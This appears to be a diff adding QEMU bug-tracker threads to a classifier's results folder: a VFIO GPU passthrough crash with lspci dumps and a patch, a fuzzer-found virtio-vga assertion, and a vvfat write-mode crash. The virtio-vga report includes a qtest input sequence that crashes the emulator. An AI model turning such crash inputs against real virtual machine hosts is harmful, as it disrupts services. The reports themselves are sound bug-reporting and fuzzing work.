VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- + Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Interrupt: pin A routed to IRQ 18 + IOMMU group: 14 + Region 1: Memory at <unassigned> (64-bit, prefetchable) [disabled] + Region 3: Memory at <unassigned> (64-bit, prefetchable) [disabled] + Region 5: I/O ports at 4000 [size=128] + Expansion ROM at f1400000 [virtual] [disabled] [size=512K] + Capabilities: [60] Power Management version 3 + Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) + Status: D3 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME- + Capabilities: [68] MSI: Enable- Count=1/1 Maskable- 64bit+ + Address: 0000000000000000 Data: 0000 + Capabilities: [78] Express (v2) Legacy Endpoint, MSI 00 + DevCap: MaxPayload 256 bytes, PhantFunc 0, Latency L0s unlimited, L1 <64us + ExtTag+ AttnBtn- AttnInd- PwrInd- RBE+ FLReset- + DevCtl: CorrErr- NonFatalErr- FatalErr- UnsupReq- + RlxdOrd+ ExtTag+ PhantFunc- AuxPwr- NoSnoop+ + MaxPayload 128 bytes, MaxReadReq 512 bytes + DevSta: CorrErr+ NonFatalErr- FatalErr- UnsupReq+ AuxPwr- TransPend- + LnkCap: Port #0, Speed 8GT/s, Width x16, ASPM L0s L1, Exit Latency L0s <512ns, L1 <4us + ClockPM+ Surprise- LLActRep- BwNot- ASPMOptComp+ + LnkCtl: ASPM L0s L1 Enabled; RCB 64 bytes, Disabled- CommClk+ + ExtSynch- ClockPM+ AutWidDis- BWInt- AutBWInt- + LnkSta: Speed 5GT/s (downgraded), Width x1 (downgraded) + TrErr- Train- SlotClk+ DLActive- BWMgmt- ABWMgmt- + DevCap2: Completion Timeout: Range AB, TimeoutDis+ NROPrPrP- LTR+ + 10BitTagComp- 10BitTagReq- OBFF Via message, ExtFmt- EETLPPrefix- + EmergencyPowerReduction Not Supported, EmergencyPowerReductionInit- + FRS- + DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis- LTR- OBFF Disabled, + AtomicOpsCtl: ReqEn- + LnkCap2: Supported Link Speeds: 2.5-8GT/s, Crosslink- Retimer- 2Retimers- DRS- + LnkCtl2: Target Link Speed: 8GT/s, EnterCompliance- SpeedDis- + Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS- + Compliance De-emphasis: -6dB + LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete- EqualizationPhase1- + EqualizationPhase2- EqualizationPhase3- LinkEqualizationRequest- + Retimer- 2Retimers- CrosslinkRes: unsupported + Capabilities: [100 v1] Virtual Channel + Caps: LPEVC=0 RefClk=100ns PATEntryBits=1 + Arb: Fixed- WRR32- WRR64- WRR128- + Ctrl: ArbSelect=Fixed + Status: InProgress- + VC0: Caps: PATOffset=00 MaxTimeSlots=1 RejSnoopTrans- + Arb: Fixed- WRR32- WRR64- WRR128- TWRR128- WRR256- + Ctrl: Enable+ ID=0 ArbSelect=Fixed TC/VC=ff + Status: NegoPending- InProgress- + Capabilities: [250 v1] Latency Tolerance Reporting + Max snoop latency: 0ns + Max no snoop latency: 0ns + Capabilities: [128 v1] Power Budgeting <?> + Capabilities: [420 v2] Advanced Error Reporting + UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol- + UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol- + UESvrt: DLP+ SDES+ TLP- FCP+ CmpltTO- CmpltAbrt- UnxCmplt- RxOF+ MalfTLP+ ECRC- UnsupReq- ACSViol- + CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- AdvNonFatalErr+ + CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- AdvNonFatalErr+ + AERCap: First Error Pointer: 00, ECRCGenCap- ECRCGenEn- ECRCChkCap- ECRCChkEn- + MultHdrRecCap- MultHdrRecEn- TLPPfxPres- HdrLogCap- + HeaderLog: 00000000 00000000 00000000 00000000 + Capabilities: [600 v1] Vendor Specific Information: ID=0001 Rev=1 Len=024 <?> + Capabilities: [900 v1] Secondary PCI Express + LnkCtl3: LnkEquIntrruptEn- PerformEqu- + LaneErrStat: 0 + Kernel driver in use: vfio-pci + Kernel modules: nouveau + +04:00.1 Audio device: NVIDIA Corporation GP106 High Definition Audio Controller (rev a1) + Subsystem: ASUSTeK Computer Inc. Device 85b6 + Physical Slot: 1 + Control: I/O- Mem- BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- + Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + Interrupt: pin B routed to IRQ 0 + IOMMU group: 14 + Region 0: Memory at f1480000 (32-bit, non-prefetchable) [disabled] [size=16K] + Capabilities: [60] Power Management version 3 + Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) + Status: D3 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME- + Capabilities: [68] MSI: Enable- Count=1/1 Maskable- 64bit+ + Address: 0000000000000000 Data: 0000 + Capabilities: [78] Express (v2) Endpoint, MSI 00 + DevCap: MaxPayload 256 bytes, PhantFunc 0, Latency L0s unlimited, L1 <64us + ExtTag+ AttnBtn- AttnInd- PwrInd- RBE+ FLReset- SlotPowerLimit 10.000W + DevCtl: CorrErr- NonFatalErr- FatalErr- UnsupReq- + RlxdOrd+ ExtTag+ PhantFunc- AuxPwr- NoSnoop+ + MaxPayload 128 bytes, MaxReadReq 512 bytes + DevSta: CorrErr+ NonFatalErr- FatalErr- UnsupReq+ AuxPwr- TransPend- + LnkCap: Port #0, Speed 8GT/s, Width x16, ASPM L0s L1, Exit Latency L0s <512ns, L1 <4us + ClockPM+ Surprise- LLActRep- BwNot- ASPMOptComp+ + LnkCtl: ASPM L0s L1 Enabled; RCB 64 bytes, Disabled- CommClk+ + ExtSynch- ClockPM+ AutWidDis- BWInt- AutBWInt- + LnkSta: Speed 5GT/s (downgraded), Width x1 (downgraded) + TrErr- Train- SlotClk+ DLActive- BWMgmt- ABWMgmt- + DevCap2: Completion Timeout: Range AB, TimeoutDis+ NROPrPrP- LTR+ + 10BitTagComp- 10BitTagReq- OBFF Via message, ExtFmt- EETLPPrefix- + EmergencyPowerReduction Not Supported, EmergencyPowerReductionInit- + FRS- TPHComp- ExtTPHComp- + AtomicOpsCap: 32bit- 64bit- 128bitCAS- + DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis- LTR- OBFF Disabled, + AtomicOpsCtl: ReqEn- + LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete- EqualizationPhase1- + EqualizationPhase2- EqualizationPhase3- LinkEqualizationRequest- + Retimer- 2Retimers- CrosslinkRes: unsupported + Capabilities: [100 v2] Advanced Error Reporting + UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol- + UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol- + UESvrt: DLP+ SDES+ TLP- FCP+ CmpltTO- CmpltAbrt- UnxCmplt- RxOF+ MalfTLP+ ECRC- UnsupReq- ACSViol- + CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- AdvNonFatalErr+ + CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- AdvNonFatalErr+ + AERCap: First Error Pointer: 00, ECRCGenCap- ECRCGenEn- ECRCChkCap- ECRCChkEn- + MultHdrRecCap- MultHdrRecEn- TLPPfxPres- HdrLogCap- + HeaderLog: 00000000 00000000 00000000 00000000 + Kernel driver in use: vfio-pci + Kernel modules: snd_hda_intel + + + +Thank you Alex for answering me. + +It seems, I've got it working, if I boot the host with the connected GPU from the very beginning. +Previously, I tried hotplug and it crashes. + +So previously I had: + 1. enable the host + 2. enable GPU + 3. connect the cable + +And this time I tried: + 1. enable GPU + 2. connect the cable + 3. enable the host + +And this works great. Actually, I was able to install nvidia drivers to the Win10 guest and it runs well. + +Now, I'm not sure if there is a bug. From one side, it might be an expected requirement to exclude hotplug. From the other side, every crash is a bug, so there can be an extra check for that. It's up to you guys. + +I'm thankful for your hard work and for the rocket science technologies I can use with my laptop. + +I'm attaching dmesg for the fresh boot host with the GPU connected from the very beginning. + +P.S. I'm sorry for the big files. I've just noticed the ability to upload attachments. + + +What's more interesting, it doesn't crash if I hotplug GPU after it was boot with it. So if I do + + 1. enable GPU + 2. connect the cord + 3. enable the host + 4. run qemu (I'm not sure, if it's mandatory) + 5. disable cord + 6. disable GPU + 7. enable GPU + 8. enable cord + 9. run qemu again + +qemu doesn't crash. but the windows guest doesn't load too - it just hangs with a single core 100% load. + +Not sure, if it's related, but trying to provide as much info as possible + +There are definitely resource allocation issues on the host in the crashing case. The quirks currently enumerate the device BARs without testing them, we identify a device and know what the resources should be, which is why I think QEMU crashes. Are you able to test if the patch below is sufficient to resolve the crash? I'd expect the GPU not to work in the guest as it doesn't have enough resources, but the goal would be to resolve the crash; QEMU cannot fix the device mappings on the host. + +diff --git a/hw/vfio/pci.c b/hw/vfio/pci.c +index 0d83eb0e47bb..10477af9fc14 100644 +--- a/hw/vfio/pci.c ++++ b/hw/vfio/pci.c +@@ -2921,7 +2921,9 @@ static void vfio_realize(PCIDevice *pdev, Error **errp) + } + + for (i = 0; i < PCI_ROM_SLOT; i++) { +- vfio_bar_quirk_setup(vdev, i); ++ if (vdev->bars[i].size) { ++ vfio_bar_quirk_setup(vdev, i); ++ } + } + + if (!vdev->igd_opregion && + + +non-mangled patch + +Can confirm that it does not crash after applying that patch. I've added the `fprintf` statement there: + + if (vdev->bars[i].size) { + vfio_bar_quirk_setup(vdev, i); + } else { + fprintf(stderr, "%04x:%04x bars for %d are empty\n", vdev->vendor_id, vdev->device_id, i); + } + +and the output is: + + 10de:1c03 bars for 0 are empty + 10de:1c03 bars for 1 are empty + 10de:1c03 bars for 2 are empty + 10de:1c03 bars for 3 are empty + 10de:1c03 bars for 4 are empty + 10de:10f1 bars for 1 are empty + 10de:10f1 bars for 2 are empty + 10de:10f1 bars for 3 are empty + 10de:10f1 bars for 4 are empty + 10de:10f1 bars for 5 are empty + +What's interesting that 5 bar is available for VGA and 0 bar is available for the sound. Don't know if it gives some valuable information. + +I understand that it's completely not a fault of QEMU, since the underlying layer gives wrong information. Any insight about potential problematic places? Is it completely a hardware issue (laptop's BIOS, nvidia) or something can be done in software? What's the next place to send a bugreport? + +Thank you + + +I recorded both lspci -vvvv and lspci -xxxx for the following connections: + + - hotplug: when GPU is connected after the host was loaded + - fresh: when GPU is connected before the host was started + +The main difference is the following: + +1c1 +< # hotplug +--- +> # fresh +6c6 +< Control: I/O+ Mem- BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- +--- +> Control: I/O- Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- +8c8 +< Interrupt: pin A routed to IRQ 18 +--- +> Interrupt: pin A routed to IRQ 255 +10,13c10,14 +< Region 1: Memory at <unassigned> (64-bit, prefetchable) [disabled] +< Region 3: Memory at <unassigned> (64-bit, prefetchable) [disabled] +< Region 5: I/O ports at 4000 [size=128] +< Expansion ROM at f1400000 [virtual] [disabled] [size=512K] +--- +> Region 0: Memory at f0000000 (32-bit, non-prefetchable) [size=16M] +> Region 1: Memory at c0000000 (64-bit, prefetchable) [size=256M] +> Region 3: Memory at d0000000 (64-bit, prefetchable) [size=32M] +> Region 5: I/O ports at 4000 [disabled] [size=128] +> Expansion ROM at f1080000 [disabled] [size=512K] +30c31 +< LnkSta: Speed 5GT/s (downgraded), Width x1 (downgraded) +--- +> LnkSta: Speed 2.5GT/s (downgraded), Width x1 (downgraded) +35a37 +> AtomicOpsCap: 32bit- 64bit- 128bitCAS- +79c81 +< Interrupt: pin B routed to IRQ 19 +--- +> Interrupt: pin B routed to IRQ 255 +81c83 +< Region 0: Memory at f1480000 (32-bit, non-prefetchable) [size=16K] +--- +> Region 0: Memory at f1000000 (32-bit, non-prefetchable) [size=16K] +98c100 +< LnkSta: Speed 5GT/s (downgraded), Width x1 (downgraded) +--- +> LnkSta: Speed 2.5GT/s (downgraded), Width x1 (downgraded) +124,125c126,127 + +I can tell, that hotplug connects as 5GT/s and fresh - 2.5GT/s. And there is an obvious difference between Regions. + +The difference between lspci -xxxx but I don't know how to interpret the result: + +124,125c126,127 +< 00: de 10 03 1c 01 00 10 00 a1 00 00 03 00 00 80 00 +< 10: 00 00 00 00 0c 00 00 00 00 00 00 00 0c 00 00 00 +--- +> 00: de 10 03 1c 02 00 10 00 a1 00 00 03 10 00 80 00 +> 10: 00 00 00 f0 0c 00 00 c0 00 00 00 00 0c 00 00 d0 +127c129 +< 30: 00 00 00 00 60 00 00 00 00 00 00 00 00 01 00 00 +--- +> 30: 00 00 f8 ff 60 00 00 00 00 00 00 00 ff 01 00 00 +132c134 +< 80: 10 29 09 00 03 3d 45 00 43 01 12 10 00 00 00 00 +--- +> 80: 10 29 09 00 03 3d 45 00 43 01 11 10 00 00 00 00 +198c200 +< 4a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 +--- +> 4a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff +221c223 +< 610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +--- +> 610: 01 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +257c259 +< 850: 00 00 00 00 78 00 00 00 ff 3f 00 00 00 00 00 00 +--- +> 850: 00 00 00 00 af 04 00 00 ff 3f 00 00 00 00 00 00 +382,383c384,385 +< 00: de 10 f1 10 02 00 10 00 a1 00 03 04 00 00 80 00 +< 10: 00 00 48 f1 00 00 00 00 00 00 00 00 00 00 00 00 +--- +> 00: de 10 f1 10 02 00 10 00 a1 00 03 04 10 00 80 00 +> 10: 00 00 00 f1 00 00 00 00 00 00 00 00 00 00 00 00 +385c387 +< 30: 00 00 00 00 60 00 00 00 00 00 00 00 00 02 00 00 +--- +> 30: 00 00 00 00 60 00 00 00 00 00 00 00 ff 02 00 00 +390c392 +< 80: 10 29 09 00 03 3d 45 00 43 01 12 10 00 00 00 00 +--- +> 80: 10 29 09 00 03 3d 45 00 43 01 11 10 00 00 00 00 +456,457c458,459 +< 4a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 +< 4b0: 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +--- +> 4a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff +> 4b0: af 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + + + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/transition./1908062 b/results/classifier/deepseek-1/output/transition./1908062 new file mode 100644 index 00000000..22aa1c62 --- /dev/null +++ b/results/classifier/deepseek-1/output/transition./1908062 @@ -0,0 +1,158 @@ + +qemu-system-i386 virtio-vga: Assertion in address_space_stw_le_cached failed again + +When I was fuzzing virtio-vga device of the latest QEMU (1758428, Dec 12, built with --enable-sanitizers --enable-fuzzing), an assertion failed in include/exec/memory_ldst_cached.h.inc. + +--[ Reproducer + +cat << EOF | ./build/i386-softmmu/qemu-system-i386 -machine accel=qtest \ +-machine q35 -display none -nodefaults -device virtio-vga -qtest stdio +outl 0xcf8 0x8000081c +outb 0xcfc 0xc3 +outl 0xcf8 0x80000804 +outb 0xcfc 0x06 +write 0xc300001024 0x2 0x0040 +write 0xc300001028 0x1 0x5a +write 0xc30000101c 0x1 0x01 +writel 0xc30000100c 0x20000000 +write 0xc300001016 0x3 0x80a080 +write 0xc300003002 0x1 0x80 +write 0x5c 0x1 0x10 +EOF + +--[ Output + +==35337==WARNING: ASan doesn't fully support makecontext/swapcontext functions and may produce false positives in some cases! +[I 1607946348.442865] OPENED +[R +0.059305] outl 0xcf8 0x8000081c +OK +[S +0.059326] OK +[R +0.059338] outb 0xcfc 0xc3 +OK +[S +0.059355] OK +[R +0.059363] outl 0xcf8 0x80000804 +OK +[S +0.059369] OK +[R +0.059381] outb 0xcfc 0x06 +OK +[S +0.061094] OK +[R +0.061107] write 0xc300001024 0x2 0x0040 +OK +[S +0.061120] OK +[R +0.061127] write 0xc300001028 0x1 0x5a +OK +[S +0.061135] OK +[R +0.061142] write 0xc30000101c 0x1 0x01 +OK +[S +0.061158] OK +[R +0.061167] writel 0xc30000100c 0x20000000 +OK +[S +0.061212] OK +[R +0.061222] write 0xc300001016 0x3 0x80a080 +OK +[S +0.061231] OK +[R +0.061238] write 0xc300003002 0x1 0x80 +OK +[S +0.061247] OK +[R +0.061253] write 0x5c 0x1 0x10 +OK +[S +0.061403] OK +qemu-system-i386: /home/qiuhao/hack/qemu/include/exec/memory_ldst_cached.h.inc:88: void address_space_stw_le_cached(MemoryRegionCache *, hwaddr, uint32_t, MemTxAttrs, MemTxResult *): Assertion `addr < cache->len && 2 <= cache->len - addr' failed. + +--[ Environment + +Ubuntu 20.04.1 5.4.0-58-generic x86_64 +clang: 10.0.0-4ubuntu1 +glibc: 2.31-0ubuntu9.1 +libglib2.0-dev: 2.64.3-1~ubuntu20.04.1 + +--[ Note + +Alexander Bulekov found the same assertion failure on 2020-08-04, https://bugs.launchpad.net/qemu/+bug/1890333, and it had been fixed in commit 2d69eba5fe52045b2c8b0d04fd3806414352afc1. + +Fam Zheng found the same assertion failure on 2018-09-29, https://bugs.launchpad.net/qemu/+bug/1795148, and it had been fixed in commit db812c4073c77c8a64db8d6663b3416a587c7b4a. + +--[ Original Fuzzing output + +./build/qemu-fuzz-i386 --fuzz-target=generic-fuzz-virtio-vga ../fuzz/20201208/crash-da778083c63d2b24d8f7780383b2602a7a156352 + +qemu-fuzz-i386: /home/qiuhao/hack/qemu/include/exec/memory_ldst_cached.h.inc:88: void address_space_stw_le_cached(MemoryRegionCache *, hwaddr, uint32_t, MemTxAttrs, MemTxResult *): Assertion `addr < cache->len && 2 <= cache->len - addr' failed. +==37260== ERROR: libFuzzer: deadly signal + #0 0x56336c2ebc81 in __sanitizer_print_stack_trace (/home/qiuhao/hack/qemu/build/qemu-fuzz-i386+0x305dc81) + #1 0x56336c236dd8 in fuzzer::PrintStackTrace() (/home/qiuhao/hack/qemu/build/qemu-fuzz-i386+0x2fa8dd8) + #2 0x56336c21bf23 in fuzzer::Fuzzer::CrashCallback() (/home/qiuhao/hack/qemu/build/qemu-fuzz-i386+0x2f8df23) + #3 0x7f3122f7b3bf (/lib/x86_64-linux-gnu/libpthread.so.0+0x153bf) + #4 0x7f3122d8c18a in __libc_signal_restore_set /build/glibc-ZN95T4/glibc-2.31/signal/../sysdeps/unix/sysv/linux/internal-signals.h:86:3 + #5 0x7f3122d8c18a in raise /build/glibc-ZN95T4/glibc-2.31/signal/../sysdeps/unix/sysv/linux/raise.c:48:3 + #6 0x7f3122d6b858 in abort /build/glibc-ZN95T4/glibc-2.31/stdlib/abort.c:79:7 + #7 0x7f3122d6b728 in __assert_fail_base /build/glibc-ZN95T4/glibc-2.31/assert/assert.c:92:3 + #8 0x7f3122d7cf35 in __assert_fail /build/glibc-ZN95T4/glibc-2.31/assert/assert.c:101:3 + #9 0x56336ec7c8ab in address_space_stw_le_cached /home/qiuhao/hack/qemu/include/exec/memory_ldst_cached.h.inc:88:5 + #10 0x56336ec7b746 in stw_le_phys_cached /home/qiuhao/hack/qemu/include/exec/memory_ldst_phys.h.inc:121:5 + #11 0x56336ec7acf8 in virtio_stw_phys_cached /home/qiuhao/hack/qemu/include/hw/virtio/virtio-access.h:196:9 + #12 0x56336ec79f7b in vring_set_avail_event /home/qiuhao/hack/qemu/build/../hw/virtio/virtio.c:429:5 + #13 0x56336ec376f5 in virtqueue_split_pop /home/qiuhao/hack/qemu/build/../hw/virtio/virtio.c:1452:9 + #14 0x56336ec3131c in virtqueue_pop /home/qiuhao/hack/qemu/build/../hw/virtio/virtio.c:1695:16 + #15 0x56336c57fa43 in virtio_gpu_handle_ctrl /home/qiuhao/hack/qemu/build/../hw/display/virtio-gpu.c:877:11 + #16 0x56336c57f6d9 in virtio_gpu_ctrl_bh /home/qiuhao/hack/qemu/build/../hw/display/virtio-gpu.c:898:5 + #17 0x563370ad4952 in aio_bh_call /home/qiuhao/hack/qemu/build/../util/async.c:136:5 + #18 0x563370ad6352 in aio_bh_poll /home/qiuhao/hack/qemu/build/../util/async.c:164:13 + #19 0x563370a2773b in aio_dispatch /home/qiuhao/hack/qemu/build/../util/aio-posix.c:381:5 + #20 0x563370adfd5e in aio_ctx_dispatch /home/qiuhao/hack/qemu/build/../util/async.c:306:5 + #21 0x7f312319afbc in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x51fbc) + #22 0x563370942137 in glib_pollfds_poll /home/qiuhao/hack/qemu/build/../util/main-loop.c:221:9 + #23 0x56337093fa37 in os_host_main_loop_wait /home/qiuhao/hack/qemu/build/../util/main-loop.c:244:5 + #24 0x56337093f387 in main_loop_wait /home/qiuhao/hack/qemu/build/../util/main-loop.c:520:11 + #25 0x56336c33ec22 in flush_events /home/qiuhao/hack/qemu/build/../tests/qtest/fuzz/fuzz.c:49:9 + #26 0x56336c33311b in generic_fuzz /home/qiuhao/hack/qemu/build/../tests/qtest/fuzz/generic_fuzz.c:683:17 + #27 0x56336c340699 in LLVMFuzzerTestOneInput /home/qiuhao/hack/qemu/build/../tests/qtest/fuzz/fuzz.c:151:5 + #28 0x56336c21d5e1 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/qiuhao/hack/qemu/build/qemu-fuzz-i386+0x2f8f5e1) + #29 0x56336c208d52 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/qiuhao/hack/qemu/build/qemu-fuzz-i386+0x2f7ad52) + #30 0x56336c20e806 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/qiuhao/hack/qemu/build/qemu-fuzz-i386+0x2f80806) + #31 0x56336c2374c2 in main (/home/qiuhao/hack/qemu/build/qemu-fuzz-i386+0x2fa94c2) + #32 0x7f3122d6d0b2 in __libc_start_main /build/glibc-ZN95T4/glibc-2.31/csu/../csu/libc-start.c:308:16 + #33 0x56336c1e341d in _start (/home/qiuhao/hack/qemu/build/qemu-fuzz-i386+0x2f5541d) + +NOTE: libFuzzer has rudimentary signal handlers. + Combine libFuzzer with AddressSanitizer or similar for better crash reports. +SUMMARY: libFuzzer: deadly signal + + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/300 + + diff --git a/results/classifier/deepseek-1/output/travel./1684239 b/results/classifier/deepseek-1/output/travel./1684239 new file mode 100644 index 00000000..80cad980 --- /dev/null +++ b/results/classifier/deepseek-1/output/travel./1684239 @@ -0,0 +1,847 @@ + +vvfat core dump when enabling RW + +Hi guys, + +I'm getting this qemu crash message: +>>> qemu-system-x86_64: /build/qemu-TziMIO/qemu-2.5+dfsg/block/vvfat.c:2290: commit_direntries: Assertion `!strncmp(s->directory.pointer, "QEMU", 4)' failed. +>>> Aborted (core dumped) +when launching qemu with this options for a VVFAT drive: +>>> -drive file=fat:rw:./ROOT,if=virtio +(same happens when using cache=none and/or if=ide) + +"uname -a" system info is: +>>> Linux RJZ-WRK-LNX 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux +and "qemu --version" is: +>>> QEMU emulator version 2.5.0 (Debian 1:2.5+dfsg-5ubuntu10.10), Copyright (c) 2003-2008 Fabrice Bellard + +Not sure what logs to attach but I'll be glad to upload whatever needed. + +Thanks in advance for you help, +Rolando + +Moving to QEMU-Ubuntu since you're not using upstream QEMU (and the bug should have been fixed there as pointed out by Hervé on the qemu-devel mailing list). + +The mentioned commit is: + +commit ebb72c9f066e5f85259e1541a6d3fb5bfd6e73ff +Author: Kevin Wolf <email address hidden> +Date: Wed Apr 27 14:11:38 2016 +0200 + + vvfat: Fix volume name assertion + + Commit d5941dd made the volume name configurable, but it didn't consider + that the rw code compares the volume name string to assert that the + first directory entry is the volume name. This made vvfat crash in rw + mode. + + This fixes the assertion to compare with the configured volume name + instead of a literal string. + + Cc: <email address hidden> + Signed-off-by: Kevin Wolf <email address hidden> + Reviewed-by: Markus Armbruster <email address hidden> + Reviewed-by: Stefan Hajnoczi <email address hidden> + +The fix is present since v2.6.0 +As you're using v2.5.0, can you try with a newer QEMU version? + +That means it is fixed in Yakkety and later, and not Broken in Trusty yet as the feature is not in. + +Thank you Rolando for your report! +I think the issue is valid and a backport as SRU [1] possible. + +I don't think you need to upload further Data, yet there is more you can help with. +For the SRU and testing it we will need some simplified steps to reproduce (and verify the fix). +Also see the Section SRU Template in [1]. + +So if you could add your steps to create the vfat image that then lets you trigger this that might help - I doubt it in this particular case, but sometimes suboptions on those steps are important so it is always better to get those from the bug reporter. + +Also - if possible - it would be great if you could verify that those steps on Yakkety or later then succeed as expected since the upstream fix is already in there. + +[1]: https://wiki.ubuntu.com/StableReleaseUpdates + +Gah obviously for vvfat it isn't an image to be created at all. +So I thought steps to reproduce are: + +1. get a guest that works (via uvtoools-libvirt or whatever you prever) +2. get the qemu commandline that it is started with, in my case: + $ sudo kvm -m 1024 -drive file=/dev/sdb,format=raw,cache=none,index=0,media=disk +3. create a dir (can be empty) to share in vvfat mode + $ mkdir /tmp/sharevvfat + $ touch /tmp/sharevvfat/hostfoo +4. start your guest with the path as vvfat set to share (ro for now) + Append the following to your qemu cmdline: + -drive format=vvfat,file=fat:/tmp/sharevvfat/,if=virtio + check the block device content by mounting it and verifyinf that "hostfoo" is there +5. shutdown the guest to retry rw +6. For rw append it as: + -drive format=vvfat,file=fat:rw:/tmp/sharevvfat/,if=virtio + +I have echoed some content into a file, and while the update policy isn't instand after my guest shut down I could access on the host what the guest put there. +All worked fine, but it seems it was already failing in the background on guest shutdown I see the failing assertion and the guest data is not written correctly to the Host. + +Retrying on a newer qemu than Xenial confirmed that there the same case is working. + +If there are no blockers uncovered on the way I will merge this with the ongoing qemu SRU. +That means that a test builds will soon be available in https://launchpad.net/~ci-train-ppa-service/+archive/ubuntu/2697 + +Added SRU Template and tested 1:2.5+dfsg-5ubuntu10.13 from the bileto ppa. + +Bug is fixed, content can be written from the guest and is re-readable from there as well as on the Host. + +That said pushed to the SRU unapproved queue. + +Hi guys, + +coming back from vacation last week, sorry for not replying before and.... tons of thanks for your prompt support and resolution! + +BTW, by any chance, do you guys know what the status for a "bootsector=<path to file>" parameter for the VVFAT is? + +Rolando + +Hi, +I haven't touched on anything that would bring much more features to the vvfat code. +In general it is a helper to sync data, but it is brittle I'd not even so much like to see a bootsector support there. That I don't find anything doesn't mean there is nothing, if you know an upstream commit or discussion feel free to catch me, but if possible in a new bug or via IRC. + +On this particular bug here we now wait for the SRU Team to accept that, the bug here on Lauchpad will get an update that it has to be verified to work (I'd totally appreciate your help there) and then it can be released into the stable release. + +Sure, no problem Christian! + +BTW, I just updated my system and got this qemu version: +>>> QEMU emulator version 2.5.0 (Debian 1:2.5+dfsg-5ubuntu10.11), Copyright (c) 2003-2008 Fabrice Bellard +but the issue is still there: +>>> qemu-system-x86_64: /build/qemu-iZpOAh/qemu-2.5+dfsg/block/vvfat.c:2290: commit_direntries: Assertion `!strncmp(s->directory.pointer, "QEMU", 4)' failed. +>>> Aborted (core dumped) + +However, downloading and running the patched version you mentioned above from: +>>> 